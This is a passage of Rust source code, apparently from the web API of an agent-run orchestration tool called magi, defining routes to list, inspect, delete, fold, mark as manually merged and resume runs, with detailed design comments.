3572    limit: Option<usize>,
3573    /// Exact ids only; an empty value requests no rows (except queue blockers).
3574    ids: Option<String>,
3575}
3576
3577impl ListQuery {
3578    fn contains(&self, id: &str) -> bool {
3579        self.ids
3580            .as_ref()
3581            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3582    }
3583}
3584
3585async fn runs_list(
3586    State(ui): State<Arc<Ui>>,
3587    Query(q): Query<ListQuery>,
3588) -> ApiResult<Json<Vec<RunSummary>>> {
3589    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3590    blocking(move || {
3591        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3592        let states = run_ids(&ui.runs)
3593            .into_iter()
3594            // A run whose state cannot be read is skipped, not fatal: a run
3595            // killed mid-write must not blank the history of every other one.
3596            // The detail route still explains it, which is where an operator
3597            // asking "what happened to that run" ends up.
3598            .filter_map(|id| read_run(&ui.runs, &id).ok())
3599            .take(limit)
3600            .filter(|run| q.contains(&run.id));
3601        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3602        let summaries = summarize(
3603            states,
3604            &open_runs,
3605            &claimed,
3606            &superseded,
3607            |p| probe.borrow_mut().status(p),
3608            |p| probe.borrow_mut().started_at(p),
3609        );
3610        Ok(Json(summaries))
3611    })
3612    .await
3613}
3614
3615/// Everything the per-run rows share, read once: runs with an open question,
3616/// runs a live daemon claims, and the superseded map. Asking per run re-read
3617/// every question file and the daemon status file for each of hundreds of
3618/// runs, and spawned a process probe per run on Windows.
3619fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3620    let open_runs: HashSet<String> = ui
3621        .questions
3622        .list()
3623        .into_iter()
3624        .filter(|q| q.status.open())
3625        .map(|q| q.run)
3626        .collect();
3627    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3628        .into_iter()
3629        .map(|c| c.run)
3630        .collect();
3631    (open_runs, claimed, ui.queue.superseded())
3632}
3633
3634/// The rows of the run list, given everything that is shared between them.
3635///
3636/// Pure over its inputs so a test can count how often the process queries are
3637/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
3638/// takes, called at most once per run.
3639fn summarize<I, S, D>(
3640    states: I,
3641    open_runs: &HashSet<String>,
3642    claimed: &HashSet<String>,
3643    superseded: &HashMap<String, String>,
3644    mut status_q: S,
3645    mut identity_q: D,
3646) -> Vec<RunSummary>
3647where
3648    I: IntoIterator<Item = RunState>,
3649    S: FnMut(u32) -> Option<bool>,
3650    D: FnMut(u32) -> Option<String>,
3651{
3652    states
3653        .into_iter()
3654        .map(|state| {
3655            let waiting = open_runs.contains(&state.id);
3656            let live =
3657                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3658            let mut row = RunSummary::of(&state, waiting, live);
3659            row.superseded_by = state
3660                .pr_taken_over_by
3661                .as_ref()
3662                .or_else(|| superseded.get(&state.id))
3663                .map(String::as_str)
3664                .map(crate::run::short_of)
3665                .map(str::to_owned);
3666            row.badge_status = run_badge_status(
3667                &state,
3668                &row.display_status,
3669                live,
3670                row.superseded_by.is_some(),
3671            );
3672            row
3673        })
3674        .collect()
3675}
3676
3677/// A run as the detail route hands it to the phone.
3678///
3679/// The whole state, flattened, plus `instruction_md`: the Task panel renders
3680/// the instruction as markdown, and the raw `instruction` field this struct
3681/// still carries (unchanged) is what a client wanting the exact bytes reads
3682/// instead.
3683#[derive(Debug, Serialize)]
3684struct RunDetailView {
3685    stop_reason: Option<String>,
3686    #[serde(flatten)]
3687    state: RunState,
3688    instruction_md: Vec<md::Node>,
3689    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
3690    /// mirror the records they come from, index for index; the raw strings
3691    /// stay in `state` and decide whether a block is shown at all.
3692    #[serde(flatten)]
3693    prose_md: RunProseMd,
3694    /// Whether a process is actually still driving this run: `"live"`,
3695    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
3696    ///
3697    /// `state.active` (flattened in above) is only ever cleared by the
3698    /// process that populated it; a killed one leaves its last wave's
3699    /// entries behind. Carrying this alongside is what lets the phone rail
3700    /// tell "this seat is still answering" from "this seat was still
3701    /// answering when whatever was driving this run died" without a second
3702    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
3703    /// proof of either. A string rather than a bool on purpose: a daemon
3704    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
3705    /// and neither proven is `"unknown"` — folding that third case into
3706    /// either end of a bool is exactly the wrong call for a phone screen an
3707    /// operator uses to decide whether to wait or to act.
3708    live: crate::run::Liveness,
3709    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
3710    /// alongside the flattened `state` rather than inside it, since
3711    /// `RunState` has no business knowing which of its own methods a caller
3712    /// wants serialized.
3713    unmerged_by_design: bool,
3714    /// Same field and meaning as [`RunSummary::waiting`].
3715    #[serde(default)]
3716    waiting: bool,
3717    /// Same derived presentation status as [`RunSummary::display_status`].
3718    #[serde(default)]
3719    display_status: String,
3720    /// Same field and meaning as [`RunSummary::badge_status`].
3721    #[serde(default)]
3722    badge_status: String,
3723    /// Same field and meaning as [`RunSummary::done`]: whether the status is
3724    /// terminal. The client's `landView` keys on it, and the flattened state
3725    /// has no such field, so without it a finished run's stale `open` PR
3726    /// would be painted as live on the detail page.
3727    done: bool,
3728    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
3729    /// route fills it from [`Queue::superseded`], the detail route from
3730    /// [`Queue::superseded_by`], and both read the same underlying task
3731    /// order. Without this the detail page could only ever show a red
3732    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
3733    /// with nothing anywhere saying so — an operator opening it had no way
3734    /// to tell "this is done elsewhere" from "this still needs a retry".
3735    superseded_by: Option<String>,
3736    /// The task's current attempt, when this run is an older one — resolved
3737    /// from [`Queue::latest_attempt`] and this run's own state, not left for
3738    /// the client to derive.
3739    ///
3740    /// Three things a client cannot safely do on its own drove this onto the
3741    /// server: it has to name the chain's *current head*, not just the next
3742    /// attempt (`superseded_by` above), because an intermediate retry in a
3743    /// longer chain can itself still be unresolved; it has to resolve to a
3744    /// real id rather than a short id a client would have to guess a full id
3745    /// from, which is ambiguous the moment two runs share a suffix; and it
3746    /// has to read that head's own status directly, because whether a run
3747    /// list a client happens to have cached even contains that attempt
3748    /// depends on a page limit this route knows nothing about.
3749    latest_attempt: Option<LatestAttempt>,
3750    /// The queue task this run belongs to, so the detail page can link back
3751    /// to the task's own page. `None` for a run nobody queued (`magi run`).
3752    task: Option<TaskRef>,
3753    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
3754    /// run recorded before origins existed. `origin` itself (flattened in
3755    /// with `state`) is `null` in that case.
3756    origin_label: String,
3757    /// Each recorded pass over this run, with the cause it stopped for. Empty
3758    /// for a run from before passes were kept: its earlier passes are unknown.
3759    pass_views: Vec<PassView>,
3760}
3761
3762/// A task named from a run's detail page.
3763#[derive(Debug, Serialize)]
3764struct TaskRef {
3765    id: String,
3766    short: String,
3767    title: String,
3768    /// [`Source::label`], e.g. `chat@a1b2`.
3769    source_label: String,
3770    /// Where the task came from, when that place has a page; see [`source_link`].
3771    source_link: Option<SourceLink>,
3772    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
3773    status: &'static str,
3774    attempts: usize,
3775    max_attempts: usize,
3776    /// This run is the last entry of the task's run list.
3777    is_latest: bool,
3778    /// The task's newest run, when it is not this one.
3779    latest: Option<RunBrief>,
3780    /// The run that finished a `done` task (merged, or already in the base).
3781    finished_by: Option<RunBrief>,
3782    /// The task is `done` but no run on record finished it: closed by hand.
3783    closed_by_hand: bool,
3784}
3785
3786/// The page that filed a task, as the UI links to it.
3787#[derive(Debug, PartialEq, Eq, Serialize)]
3788struct SourceLink {
3789    /// `chat` (a conversation) or `run` (a run's node).
3790    kind: &'static str,
3791    /// The full id, never the short one in the label.
3792    id: String,
3793    /// The hash route that opens it.
3794    href: String,
3795}
3796
3797/// Percent-encode everything outside the URL-unreserved set.
3798fn encode_segment(raw: &str) -> String {
3799    let mut out = String::with_capacity(raw.len());
3800    for b in raw.bytes() {
3801        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3802            out.push(b as char);
3803        } else {
3804            out.push_str(&format!("%{b:02X}"));
3805        }
3806    }
3807    out
3808}
3809
3810/// The one place that decides where a task's source links to. A chat
3811/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
3812/// a person or an imported issue has no page, so no link.
3813fn source_link(source: &Source) -> Option<SourceLink> {
3814    let Source::Agent { run, node } = source else {
3815        return None;
3816    };
3817    let (kind, route) = if node == crate::queue::CHAT_NODE {
3818        ("chat", "chat")
3819    } else {
3820        ("run", "runs")
3821    };
3822    Some(SourceLink {
3823        kind,
3824        id: run.clone(),
3825        href: id_links::page_href(route, run),
3826    })
3827}
3828
3829/// The parent task of a follow-up, when its file can still be read.
3830#[derive(Debug, Serialize, PartialEq)]
3831struct FollowUpParent {
3832    id: String,
3833    short: String,
3834    title: String,
3835    /// The parent's own status (`TaskStatus::as_str`).
3836    status: &'static str,
3837    href: String,
3838}
3839
3840/// The merged run a follow-up was filed from.
3841#[derive(Debug, Serialize, PartialEq)]
3842struct FollowUpRun {
3843    id: String,
3844    short: String,
3845    /// `None` when the run's record cannot be read.
3846    status: Option<&'static str>,
3847    /// `None` unless the record could be read: never a dead link.
3848    href: Option<String>,
3849}
3850
3851/// Where a follow-up task came from, resolved once per task page so the flow
3852/// chart and the detail block cannot disagree. See [`followup_origin`].
3853#[derive(Debug, Serialize, PartialEq)]
3854struct FollowUpOrigin {
3855    /// Present only when `origin_task` is set and that task still exists.
3856    parent: Option<FollowUpParent>,
3857    run: FollowUpRun,
3858    /// The merged pull request, verbatim. Not an href: the client passes it
3859    /// through `forgeUrl()` and renders text when that refuses it (the one
3860    /// exception to "the href rule is Rust's alone", since a forge URL is
3861    /// data from a record, not a route).
3862    pr: String,
3863    findings: Vec<String>,
3864    generation: u32,
3865}
3866
3867/// The one place that decides what a follow-up links to. A parent that cannot
3868/// be read (gone, or an id that names nothing) is `None`, never an error.
3869fn followup_origin(
3870    fu: &crate::queue::FollowUp,
3871    task: impl Fn(&str) -> Option<Task>,
3872    run: impl Fn(&str) -> Option<RunState>,
3873) -> FollowUpOrigin {
3874    let parent = fu
3875        .origin_task
3876        .as_deref()
3877        .and_then(task)
3878        .map(|t| FollowUpParent {
3879            short: t.short().to_owned(),
3880            href: format!("#/tasks/{}", encode_segment(&t.id)),
3881            status: t.status.as_str(),
3882            title: t.title,
3883            id: t.id,
3884        });
3885    let state = run(&fu.run);
3886    FollowUpOrigin {
3887        parent,
3888        run: FollowUpRun {
3889            short: run::short_of(&fu.run).to_owned(),
3890            status: state.as_ref().map(|s| s.status.as_str()),
3891            href: state
3892                .is_some()
3893                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3894            id: fu.run.clone(),
3895        },
3896        pr: fu.pr.clone(),
3897        findings: fu.findings.clone(),
3898        generation: fu.generation,
3899    }
3900}
3901
3902/// Another run of the same task, as named from a run's detail page.
3903#[derive(Debug, Serialize)]
3904struct RunBrief {
3905    id: String,
3906    short: String,
3907    /// `None` when the run's record cannot be read.
3908    status: Option<&'static str>,
3909    /// The task-page wording for how that pass ended.
3910    outcome: String,
3911    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
3912    badge: Option<String>,
3913}
3914
3915/// The task's overall outcome as seen from `this_run`'s page, classified with
3916/// the same exits the task page's flowchart uses.
3917fn task_outcome(
3918    task: &Task,
3919    this_run: &str,
3920    max_attempts: usize,
3921    read: impl Fn(&str) -> Option<RunState>,
3922) -> TaskRef {
3923    let max_attempts = task.effective_attempt_limit(max_attempts);
3924    let history = task_history(task, read);
3925    let brief = |h: &TaskRunView| RunBrief {
3926        id: h.id.clone(),
3927        short: h.short.clone(),
3928        status: h.status,
3929        outcome: h.exit.edge_label(h.status),
3930        badge: h.badge.clone(),
3931    };
3932    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3933    let latest = if is_latest {
3934        None
3935    } else {
3936        history.last().map(brief)
3937    };
3938    let done = task.status == TaskStatus::Done;
3939    let finished_by = done
3940        .then(|| {
3941            history
3942                .iter()
3943                .rev()
3944                .find(|h| {
3945                    matches!(
3946                        h.exit,
3947                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3948                    )
3949                })
3950                .map(brief)
3951        })
3952        .flatten();
3953    TaskRef {
3954        short: task.short().to_owned(),
3955        title: task.title.clone(),
3956        id: task.id.clone(),
3957        source_label: task.source.label(),
3958        source_link: source_link(&task.source),
3959        status: task.status.as_str(),
3960        attempts: task.attempts,
3961        max_attempts,
3962        is_latest,
3963        latest,
3964        closed_by_hand: done && finished_by.is_none(),
3965        finished_by,
3966    }
3967}
3968
3969/// The task's current attempt, as seen from an older one's detail page.
3970#[derive(Debug, Serialize)]
3971struct LatestAttempt {
3972    id: String,
3973    short: String,
3974    /// Whether this attempt itself settled with a result nobody needs to
3975    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
3976    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
3977    /// unconfirmed claim that no change was needed, which is exactly why it
3978    /// settles the task through `Held` rather than `Done` and still waits on
3979    /// a human to check the evidence; showing an older run as "finished
3980    /// elsewhere" on the strength of an unverified claim would bury the
3981    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
3982    /// in-flight status are excluded because they are exactly the
3983    /// unresolved states this field exists to tell apart from a real finish.
3984    resolved: bool,
3985    /// The attempt's own recorded status, so the page can say where it
3986    /// stands while it is not resolved yet.
3987    status: RunStatus,
3988    /// Whether that status is terminal (nothing is still running it).
3989    done: bool,
3990}
3991
3992/// Markdown for the free-text prose of a run, parallel to `RunState`.
3993#[derive(Debug, Default, Serialize)]
3994struct RunProseMd {
3995    /// `None` when the run has no design deliberation.
3996    advice_md: Option<AdviceMd>,
3997    /// One entry per candidate: the summary.
3998    candidate_summaries_md: Vec<Vec<md::Node>>,
3999    /// One entry per review round, in `reviews` order.
4000    reviews_md: Vec<RoundMd>,
4001}
4002
4003#[derive(Debug, Default, Serialize)]
4004struct AdviceMd {
4005    synthesis: Vec<md::Node>,
4006    /// One per record; empty for a seat with no proposal.
4007    approaches: Vec<Vec<md::Node>>,
4008}
4009
4010#[derive(Debug, Default, Serialize)]
4011struct RoundMd {
4012    /// One per reviewer record.
4013    reviewers: Vec<ReviewerMd>,
4014    /// One per `reconsideration` entry: the reason.
4015    reconsideration: Vec<Vec<md::Node>>,
4016    fix: Option<FixMd>,
4017}
4018
4019#[derive(Debug, Default, Serialize)]
4020struct ReviewerMd {
4021    summary: Vec<md::Node>,
4022    /// One per finding, in recorded order (not the display order).
4023    findings: Vec<Vec<md::Node>>,
4024}
4025
4026#[derive(Debug, Default, Serialize)]
4027struct FixMd {
4028    notes: Vec<md::Node>,
4029    /// One per rejection: the argument.
4030    rejected: Vec<Vec<md::Node>>,
4031}
4032
4033/// Parse a run's agent-written prose; a pure function of the state.
4034fn run_prose_md(state: &RunState) -> RunProseMd {
4035    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4036    RunProseMd {
4037        advice_md: state.advice.as_ref().map(|a| AdviceMd {
4038            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4039            approaches: a
4040                .records
4041                .iter()
4042                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4043                .collect(),
4044        }),
4045        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4046        reviews_md: state
4047            .reviews
4048            .iter()
4049            .map(|round| RoundMd {
4050                reviewers: round
4051                    .reviews
4052                    .iter()
4053                    .map(|rec| ReviewerMd {
4054                        summary: nodes(&rec.summary),
4055                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4056                    })
4057                    .collect(),
4058                reconsideration: round
4059                    .reconsideration
4060                    .iter()
4061                    .map(|rv| nodes(&rv.reason))
4062                    .collect(),
4063                fix: round.fix.as_ref().map(|fix| FixMd {
4064                    notes: nodes(&fix.notes),
4065                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4066                }),
4067            })
4068            .collect(),
4069    }
4070}
4071
4072impl RunDetailView {
4073    fn of(
4074        state: RunState,
4075        waiting: bool,
4076        live: crate::run::Liveness,
4077        superseded_by: Option<String>,
4078        latest_attempt: Option<LatestAttempt>,
4079        task: Option<TaskRef>,
4080    ) -> Self {
4081        let display_status = run_display_status(&state, waiting, live);
4082        let stop_reason = crate::stop_reason::of(
4083            &state,
4084            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4085        );
4086        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4087        Self {
4088            stop_reason,
4089            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4090            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4091            prose_md: run_prose_md(&state),
4092            origin_label: crate::run::origin_label(state.origin.as_ref()),
4093            live,
4094            unmerged_by_design: state.unmerged_by_design(),
4095            waiting,
4096            display_status,
4097            badge_status,
4098            done: state.status.done(),
4099            superseded_by,
4100            latest_attempt,
4101            task,
4102            state,
4103        }
4104    }
4105}
4106
4107/// Core content needs neither the queue nor question/liveness evidence.
4108async fn run_core(
4109    State(ui): State<Arc<Ui>>,
4110    Path(id): Path<String>,
4111) -> ApiResult<Json<RunDetailView>> {
4112    blocking(move || {
4113        let id = resolve_run(&ui.runs, &id)?;
4114        let state = read_run(&ui.runs, &id)?;
4115        Ok(Json(RunDetailView::of(
4116            state,
4117            false,
4118            crate::run::Liveness::Unknown,
4119            None,
4120            None,
4121            None,
4122        )))
4123    })
4124    .await
4125}
4126
4127async fn run_detail(
4128    State(ui): State<Arc<Ui>>,
4129    Path(id): Path<String>,
4130) -> ApiResult<Json<RunDetailView>> {
4131    blocking(move || {
4132        let id = resolve_run(&ui.runs, &id)?;
4133        let state = read_run(&ui.runs, &id)?;
4134        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4135        let live = state.liveness(daemon_claims);
4136        crate::queue::record_ids(ui.questions.root(), "json")?;
4137        let waiting = ui
4138            .questions
4139            .list()
4140            .iter()
4141            .any(|q| q.run == id && q.status.open());
4142        let max_attempts = daemon::Opts::default().max_attempts;
4143
4144        let matching_task = ui.find_task_for_run(&id)?;
4145
4146        let superseded_by = state
4147            .pr_taken_over_by
4148            .clone()
4149            .or_else(|| {
4150                matching_task
4151                    .as_ref()
4152                    .and_then(|t| t.successor_of(&id).cloned())
4153            })
4154            .as_deref()
4155            .map(crate::run::short_of)
4156            .map(str::to_owned);
4157
4158        // Best-effort: an unreadable head (mid-write, or deleted) just means
4159        // this run's own status stands on its own, same as no later attempt
4160        // existing at all.
4161        let latest_attempt = matching_task
4162            .as_ref()
4163            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4164            .and_then(|head_id| {
4165                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4166                    short: head.short().to_owned(),
4167                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4168                    status: head.status,
4169                    done: head.status.done(),
4170                    id: head.id,
4171                })
4172            });
4173
4174        let task = matching_task
4175            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4176
4177        Ok(Json(RunDetailView::of(
4178            state,
4179            waiting,
4180            live,
4181            superseded_by,
4182            latest_attempt,
4183            task,
4184        )))
4185    })
4186    .await
4187}
4188
4189/// `DELETE /api/runs/{id}`.
4190///
4191/// Remove a finished, folded run directory along with its artifacts.
4192/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4193/// deleted. This never touches git worktrees or branches - except for a run
4194/// whose state this build cannot read at all, where there is no candidate
4195/// list to check and the wholesale removal `magi fold` already uses for that
4196/// case is the only meaningful "delete".
4197async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4198    let (id, unreadable) = {
4199        let ui = Arc::clone(&ui);
4200        blocking(move || {
4201            let id = resolve_run(&ui.runs, &id)?;
4202            match read_run(&ui.runs, &id) {
4203                Ok(state) => {
4204                    let in_flight =
4205                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4206                    state
4207                        .ensure_can_delete(in_flight)
4208                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4209                    let dir = ui.runs.join(&id);
4210                    std::fs::remove_dir_all(&dir)
4211                        .with_context(|| format!("remove run directory {}", dir.display()))?;
4212                    Ok((id, false))
4213                }
4214                Err(_) => {
4215                    // Unreadable: there is no candidate list to guard on, so
4216                    // a live daemon's claim is the only thing left to check -
4217                    // the same rule `run_fold` applies for the same reason.
4218                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4219                        return Err(ApiError::conflict(format!(
4220                            "run {id} is being worked on by a live daemon right now"
4221                        )));
4222                    }
4223                    Ok((id, true))
4224                }
4225            }
4226        })
4227        .await?
4228    };
4229    if unreadable {
4230        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4231            .await
4232            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4233    }
4234    let ui = Arc::clone(&ui);
4235    let done = id.clone();
4236    blocking(move || {
4237        // The agent that asked died with the run, so an open question would
4238        // keep asking the operator for a decision nobody can deliver.
4239        ui.questions.abandon_for_run(
4240            &done,
4241            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4242        )?;
4243        Ok(())
4244    })
4245    .await?;
4246    Ok(StatusCode::NO_CONTENT)
4247}
4248
4249/// `POST /api/runs/{id}/fold`.
4250///
4251/// Remove a run's candidate worktrees and branches, keeping its record.
4252///
4253/// This exists because the deck answered "delete this run" with *"Candidates
4254/// must be folded before deleting. Run `magi fold` first."* — a phone being
4255/// told to open a terminal, in the one product whose point is that it does
4256/// not need one. The runs an operator most wants gone are the stalled and
4257/// blocked ones, and those are exactly the runs still holding worktrees:
4258/// three of them here held 53 GB.
4259///
4260/// The winner's tree goes too. A fold is what someone asks for when they are
4261/// finished with a run, and leaving one tree behind would leave the delete
4262/// button disabled for the same reason as before.
4263///
4264/// Refused while a live daemon is working on the run, on the rule that guards
4265/// deletion: folding underneath a running agent would pull the tree it is
4266/// editing out from under it.
4267///
4268/// A run whose state this build cannot read at all falls back to
4269/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4270/// selectively, so the whole record's worktree goes wholesale, exactly what
4271/// `magi fold` does on the command line for the same run.
4272async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4273    let (id, state) = {
4274        let ui = Arc::clone(&ui);
4275        blocking(move || {
4276            let id = resolve_run(&ui.runs, &id)?;
4277            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4278                return Err(ApiError::conflict(format!(
4279                    "run {id} is being worked on by a live daemon right now"
4280                )));
4281            }
4282            let state = read_run(&ui.runs, &id).ok();
4283            Ok((id, state))
4284        })
4285        .await?
4286    };
4287    let removed = match state {
4288        Some(mut state) => {
4289            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4290                .await
4291                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4292            // Nothing left to remove is not the same thing as nothing left to
4293            // do — see `clean::clear_abandoned_active`'s own doc for the run
4294            // this exists for: worktrees already gone, but a killed process
4295            // left active seats nobody will ever answer for.
4296            if removed.is_empty() {
4297                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4298                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4299            }
4300            removed
4301        }
4302        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4303            .await
4304            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4305    };
4306    Ok(Json(FoldView {
4307        run: id,
4308        removed_count: removed.len(),
4309        removed,
4310    }))
4311}
4312
4313/// What a fold took away, so the deck can say so rather than only re-render.
4314#[derive(Debug, Serialize)]
4315struct FoldView {
4316    run: String,
4317    /// Worktree paths and branch names removed, in the order they went.
4318    removed: Vec<String>,
4319    removed_count: usize,
4320}
4321
4322/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4323/// merged outside of `land::land`'s own loop.
4324#[derive(Debug, Deserialize)]
4325struct FoldMergedBody {
4326    #[serde(default)]
4327    pr_url: String,
4328}
4329
4330/// `POST /api/runs/{id}/fold-merged`.
4331///
4332/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4333/// `Blocked` with `merge: null` because magi never got as far as opening a
4334/// pull request of its own (a title over GitHub's length limit, `gh pr
4335/// create` unreachable, a stale token), which the operator then finished by
4336/// hand on a pull request magi never recorded. The "Run actions" sheet used
4337/// to have no way to tell it about that pull request short of a terminal and
4338/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4339/// this exists and what it deliberately does not do (`bump::after_merge`).
4340///
4341/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4342/// correction rewrites the same `status`/`merge` fields a running graph would
4343/// be writing to on its own.
4344///
4345/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4346/// calls plus a fold, seconds of work, and the phone should get its answer
4347/// (which pull request it recorded, and what changed) in the same round
4348/// trip rather than learning it from the change stream.
4349async fn run_fold_merged(
4350    State(ui): State<Arc<Ui>>,
4351    Path(id): Path<String>,
4352    Json(body): Json<FoldMergedBody>,
4353) -> ApiResult<Json<FoldMergedView>> {
4354    let pr_url = body.pr_url.trim().to_owned();
4355    if pr_url.is_empty() {
4356        return Err(ApiError::bad_request("pr_url is required"));
4357    }
4358    let (id, mut state) = {
4359        let ui = Arc::clone(&ui);
4360        blocking(move || {
4361            let id = resolve_run(&ui.runs, &id)?;
4362            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4363                return Err(ApiError::conflict(format!(
4364                    "run {id} is being worked on by a live daemon right now"
4365                )));
4366            }
4367            let state = read_run(&ui.runs, &id)?;
4368            Ok((id, state))
4369        })
4370        .await?
4371    };
4372    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4373        .await
4374        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4375    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4376        .await
4377        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4378    Ok(Json(FoldMergedView {
4379        run: id,
4380        before: before.as_str().to_owned(),
4381        after: after.as_str().to_owned(),
4382        removed,
4383    }))
4384}
4385
4386/// What [`run_fold_merged`] did, so the deck can say so.
4387#[derive(Debug, Serialize)]
4388struct FoldMergedView {
4389    run: String,
4390    /// `status` before the correction — normally `"blocked"`.
4391    before: String,
4392    /// `status` after — normally `"merged"`.
4393    after: String,
4394    /// Worktree paths and branch names the trailing fold removed.
4395    removed: Vec<String>,
4396}
4397
4398/// `POST /api/runs/{id}/resume`.
4399///
4400/// Carry a stalled run on from where it stopped, in the background.
4401///
4402/// A stalled card says "the work is kept" and used to offer no way to act on
4403/// that: the candidates are built and paid for, and continuing means re-asking
4404/// only the seats whose absence collapsed the panel. The alternative an
4405/// operator actually had was releasing the task, which competes three fresh
4406/// implementations against work that already exists.
4407///
4408/// **202, not 200.** A resume runs agents for minutes; holding the connection
4409/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4410/// phone learns the outcome from the change stream.
4411///
4412/// Refused when the loop is running at all, not merely when it is on this run.
4413/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4414/// started a second graph on top of whatever the loop is already driving —
4415/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4416/// allows — would spend that quota twice over for no extra throughput.
4417async fn run_resume(
4418    State(ui): State<Arc<Ui>>,
4419    Path(id): Path<String>,
4420) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4421    let admission = ui.begin_admission()?;
4422    admitted(admission, async move {
4423        let (id, state) = {
4424            let ui = Arc::clone(&ui);
4425            blocking(move || {
4426                let id = resolve_run(&ui.runs, &id)?;
4427                let state = read_run(&ui.runs, &id)?;
4428                Ok((id, state))
4429            })
4430            .await?
4431        };
4432        crate::resume::validate_unqueued(&ui.home, &id)
4433            .map_err(|e| ApiError::conflict(e.to_string()))?;
4434        let _resume = ui.begin_resume(&id)?;
4435
4436        crate::resume::start(&ui.home, id.clone())
4437            .await
4438            .map_err(ApiError::from)?;
4439        // The same shape the list route returns, so the phone updates the card it
4440        // already has rather than learning a second schema for one button.
4441        let queued = RunSummary::of(
4442            &state,
4443            !ui.questions.open_for(&id).is_empty(),
4444            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4445        );
4446        Ok((StatusCode::ACCEPTED, Json(queued)))
4447    })
4448    .await
4449}
4450
4451async fn run_report(
4452    State(ui): State<Arc<Ui>>,
4453    Path(id): Path<String>,
4454) -> ApiResult<impl IntoResponse> {
4455    let text = blocking(move || {
4456        let id = resolve_run(&ui.runs, &id)?;
4457        // Colour is off for the whole process, set once in `serve`. Rendering
4458        // is CPU work over the full state, which is the other reason this is
4459        // not on the executor.
4460        let state = read_run(&ui.runs, &id)?;
4461        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4462        let live = state.liveness(daemon_claims);
4463        Ok(format!(
4464            "{}{}",
4465            report::run(&state),
4466            report::active_seats(&state, live)
4467        ))
4468    })
4469    .await?;
4470    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4471}
4472
4473/// The structured twin of [`run_report`]: the same state, as sections the UI
4474/// draws as cards. An unreadable run answers with the same error the text
4475/// route does; it is never turned into an empty report.
4476async fn run_report_json(
